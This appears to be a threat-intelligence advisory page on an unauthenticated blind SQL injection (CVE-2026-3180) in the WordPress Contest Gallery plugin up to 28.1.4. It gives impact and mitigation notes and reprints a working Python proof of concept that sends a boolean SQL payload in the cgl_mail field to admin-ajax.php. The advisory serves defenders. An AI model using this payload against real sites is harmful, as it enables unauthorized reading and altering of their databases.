WordPress Contest Gallery 28.1.4 - Unauthenticated Blind SQL Injection
WordPress Contest Gallery 28.1.4 - Unauthenticated Blind SQL Injection
AI Analysis
Technical Summary
The WordPress Contest Gallery plugin up to version 28.1.4 contains an unauthenticated blind SQL injection vulnerability. This vulnerability enables attackers to inject SQL queries into the backend database without requiring authentication, potentially leading to unauthorized data access or manipulation. The exploit targets installations running on Docker environments with PHP 8.2, Apache, and MariaDB. Public exploit code written in Python exists, but there is no indication of active exploitation in the wild. No official patch or remediation guidance has been provided by the vendor as of the published date.
Potential Impact
Successful exploitation could allow an unauthenticated attacker to extract or manipulate sensitive data stored in the WordPress database used by the Contest Gallery plugin. This could lead to data disclosure, data integrity issues, or further compromise of the WordPress site. The vulnerability affects the confidentiality and integrity of the affected system's data.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Until an official fix is available, consider disabling or removing the vulnerable plugin version to prevent exploitation. Monitor for updates from the vendor at https://contest-gallery.com and the WordPress plugin repository.
Indicators of Compromise
- exploit-code: # Exploit Title: WordPress Contest Gallery 28.1.4 - Unauthenticated Blind SQL Injection # Google Dork: N/A # Date: 2026-06-02 # Exploit Author: cardosource # Vendor Homepage: https://contest-gallery.com/ # Software Link: https://wordpress.org/plugins/contest-gallery/ # Version: <= 28.1.4 # Tested on: Docker - PHP 8.2/Apache + MariaDB (WordPress Environment) # CVE: 2026-3180 """ Description A Blind SQL Injection vulnerability exists in Contest Gallery versions 28.1.4 and earlier. The issue is caused by the unsafe use of the cgl_maili parameter, where sanitize_email() preserves the single quote (') character in the local part of an email address. As a result, user-controlled input reaches wpdb->get_row() without proper parameterization via prepare(), allowing unauthenticated attackers to perform boolean-based blind SQL injection. Authentication Required: No """ import requests import json NONCE = " " URL = "http://localhost:8080/wp-admin/admin-ajax.php" endpoint = "/wp-admin/admin-ajax.php" url = "http://localhost:8080/" payload = "'OR/**/1=1#@teste.com' and 'OR/**/1=2#@teste.com" def send_payload(mail): data = { "action": "post_cg1l_resend_unconfirmed_mail_frontend", "cgl_mail": mail, "cgl_page_id": "1", "cgl_activation_key": "", "cg_nonce": NONCE, } return requests.post(URL, data=data) r_true = send_payload("qualquer'OR/**/1=1#@teste.com") if r_true.status_code == 200: status_code = r_true.status_code banner = f""" CVE : 2026-3180 | Contest Gallery 28.1.4 : Boolean SQLi payload :........................{payload} end point :........................{endpoint} url :..............................{url} status :...........................{status_code} nonce :............................{NONCE} """ print(banner) print(f"Body length: {len(r_true.text)} chars") poc =f'''\nmariadb wordpress_db -e " SELECT * FROM wp_contest_gal1ery_create_user_entries ORDER BY Tstamp DESC LIMIT 1115;"''' print(poc)
WordPress Contest Gallery 28.1.4 - Unauthenticated Blind SQL Injection
Description
WordPress Contest Gallery 28.1.4 - Unauthenticated Blind SQL Injection
Affected software
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
The WordPress Contest Gallery plugin up to version 28.1.4 contains an unauthenticated blind SQL injection vulnerability. This vulnerability enables attackers to inject SQL queries into the backend database without requiring authentication, potentially leading to unauthorized data access or manipulation. The exploit targets installations running on Docker environments with PHP 8.2, Apache, and MariaDB. Public exploit code written in Python exists, but there is no indication of active exploitation in the wild. No official patch or remediation guidance has been provided by the vendor as of the published date.
Potential Impact
Successful exploitation could allow an unauthenticated attacker to extract or manipulate sensitive data stored in the WordPress database used by the Contest Gallery plugin. This could lead to data disclosure, data integrity issues, or further compromise of the WordPress site. The vulnerability affects the confidentiality and integrity of the affected system's data.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Until an official fix is available, consider disabling or removing the vulnerable plugin version to prevent exploitation. Monitor for updates from the vendor at https://contest-gallery.com and the WordPress plugin repository.
Technical Details
- Version
- <= 28.1.4
- Vendor
- https://contest-gallery.com
- Application
- https://wordpress.org/plugins/contest-gallery
- Author
- cardosource
- Platform
- Docker - PHP 8.2/Apache + MariaDB
- Edb Id
- 52609
- Has Exploit Code
- true
- Code Language
- python
Indicators of Compromise
Exploit Source Code
Exploit code for WordPress Contest Gallery 28.1.4 - Unauthenticated Blind SQL Injection
# Exploit Title: WordPress Contest Gallery 28.1.4 - Unauthenticated Blind SQL Injection # Google Dork: N/A # Date: 2026-06-02 # Exploit Author: cardosource # Vendor Homepage: https://contest-gallery.com/ # Software Link: https://wordpress.org/plugins/contest-gallery/ # Version: <= 28.1.4 # Tested on: Docker - PHP 8.2/Apache + MariaDB (WordPress Environment) # CVE: 2026-3180 """ Description A Blind SQL Injection vulnerability exists in Contest Gallery versions 28.1.4 and earlier. The issue is... (1502 more characters)
Threat ID: 6a234b62e29bf47b50cd7c41
Added to database: 06/05/2026, 22:19:14 UTC
Last enriched: 07/01/2026, 01:17:36 UTC
Last updated: 07/31/2026, 03:28:40 UTC
Views: 239
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
External Links
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.